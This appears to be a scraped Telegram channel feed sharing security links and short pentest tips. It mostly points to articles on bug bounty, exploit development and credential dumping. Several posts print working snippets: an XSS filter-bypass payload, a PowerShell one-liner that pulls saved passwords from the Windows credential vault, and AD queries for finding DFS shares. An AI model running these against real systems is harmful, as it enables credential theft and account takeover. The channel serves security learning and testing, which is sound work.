Information Security
@sec_nerd_en
421 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
421 subscribers
Information Security
https://www.infosecmatter.com/hunter-of-default-logins-web-http/
InfosecMatter
Default Password Scanner (default-http-login-hunter.sh) - InfosecMatter
Identify default passwords for more than 380 network devices such as 3Com, Asus, Cisco, D-Link, F5, AXIS, Dell iDRAC, HP iLO, Apache Tomcat, WebLogic, JBoss, Citrix, VMware and many more.
117 views
Information Security
https://cryptohack.org/
CryptoHack
CryptoHack – Home
A free, fun platform to learn about cryptography through solving challenges and cracking insecure code. Can you reach the top of the leaderboard?
118 views
Information Security
https://github.com/cure53/HTTPLeaks
GitHub
GitHub - cure53/HTTPLeaks: HTTPLeaks - All possible ways, a website can leak HTTP requests
HTTPLeaks - All possible ways, a website can leak HTTP requests - cure53/HTTPLeaks
118 views
Information Security
https://medium.com/@irounakdhadiwal999/stored-iframe-injection-csrf-account-takeover-42c93ad13f5d
Medium
Stored Iframe Injection + CSRF = Account Takeover 😎😎
Before we Start lets Clear some Questions
120 views
Information Security
GraphQL — Common vulnerabilities & how to exploit them
https://t.co/zwuE1akzCH
Mastering the Skills of Bug Bounty
https://t.co/aqgP65mTbr
Methods to Bypass Rate Limit
https://t.co/T38i5qR3hJ
Bug bounty resources & advices
https://t.co/GAvQwPW0uo

#bugbounty,#bugbountytips
Medium
GraphQL — Common vulnerabilities & how to exploit them
Hello there! how you doin? , Bilal Rizwan here & I hope everyone is safe in this time of crisis and making complete use of your…
126 views
Information Security
https://buer.haus/2017/03/08/airbnb-when-bypassing-json-encoding-xss-filter-waf-csp-and-auditor-turns-into-eight-vulnerabilities/
119 views
Information Security
https://twitter.com/ShMalav/status/1247742279999078400
Twitter
Malav Sharma (Wolfdroid)
A map of how DNS works.....
128 views
Information Security
https://0x00sec.org/t/exploit-development-the-magic-in-hacking/20349
0x00sec - The Home of the Hacker
Exploit Development - The Magic in Hacking
The Magic in Hacking While wandering around the various amazing topics in this forum, I noticed a lack of one of the subjects I enjoy the most - exploit development (last post was more than a month ago). I decided to write my own post about the subject which…
128 views
Information Security
https://github.com/thelinuxchoice/evilreg
129 views
Information Security
Self-reminder - finding DFS shares

AD
Get-ADObject -filter * -SearchBase "CN=Dfs-Configuration,CN=System,DC=a,DC=b" | select name

ADSI
$s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://CN=Dfs-Configuration,CN=System,dc=a,dc=b"; $s.FindAll() | % {$_.properties.name}
128 views
Information Security
https://homjxi0e.wordpress.com/2018/02/15/lateral-movement-using-internetexplorer-application-object-com/
matthomjxi0e
Lateral Movement Using internetexplorer.Application Object ( COM )
introduction Use Object COM ( InternetExplorer.Application ) For Execute using Types Exploit-internet Explorer For Execute ==> in Add On Internet Explorer For Get Execute Code using Lateral Move…
127 views
Information Security
quoteless #XSS filter bypass (removing HTML chars) in an inline JS function with multiple params

Normal:
/page?x=1&y=2&z=3
Downwards arrow

<body onload="func('1', '2', '3')">

XSS:
/page?x=1&y=%5C&z=);alert(1);//
Downwards arrow

<body onload="func('1', '\', ');alert(1);//'">
130 views
Information Security
https://www.hackingarticles.in/credential-dumping-sam/
Hacking Articles
Credential Dumping: SAM
Learn how attackers dump credentials from the Security Account Manager (SAM) and how to prevent such attacks in your Windows environment.
134 views
Information Security
https://mazinahmed.net/blog/ohmyzsh-dotenv-rce/
Mazin Ahmed
OhMyZsh dotenv Remote Code Execution
OhMyZsh dotenv RCE
157 views
Information Security
https://medium.com/palantir/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e
Medium
Windows Privilege Abuse: Auditing, Detection, and Defense
Privileges are an important native security control in Windows. As the name suggests, privileges grant rights for accounts to perform…
126 views
Information Security
Dump local Creds

PS>
[void][http://Windows.Security.Credentials.PasswordVault,http://Windows.Security.Credentials,ContentType=WindowsRuntime]
$pw = New-Object http://Windows.Security.Credentials.PasswordVault
$pw.RetrieveAll() | % { $_.RetrievePassword();$_ }

#redteam #pentest
134 views
Information Security
#bugbounty Tools

https://github.com/milo2012/pathbrute
https://github.com/lc/subjs
https://github.com/KathanP19/gaussrf
https://github.com/stevemcilwain/quiver
https://github.com/proabiral/inception
https://github.com/Broly157/auto.sh
https://github.com/codingo/crithit
https://github.com/vortexau/dnsvalidator
https://github.com/theblackturtle/fprobe
https://github.com/reconness/reconness

#bugbountytips
GitHub
GitHub - milo2012/pathbrute: Pathbrute
Pathbrute. Contribute to milo2012/pathbrute development by creating an account on GitHub.
150 views
Information Security
https://ophirharpaz.github.io/2020/04/09/how-does-ssh-port-forwarding-work.html
Ophirharpaz
How Does SSH Port Forwarding Work?
I often use the command ssh server_addr -L localport:remoteaddr:remoteport to create an SSH tunnel. This allows me, for example, to communicate with a host that is only accessible to the SSH server. You can read more about SSH port forwarding (also known…
143 views
Information Security
https://medium.com/@cyberdefecers/sudo-1-8-25p-a-tale-of-bufferoverflow-in-linux-cve-2019-18634-and-art-of-timing-attacks-in-web-bc6794407942
Medium
Sudo 1.8.25p:A tale of BufferOverflow in linux(CVE-2019–18634) and art of timing attacks in web applications
TLDR
139 views
Information Security
https://pentest.blog/how-to-test-horizontal-vertical-authorization-issues-in-web-application/
129 views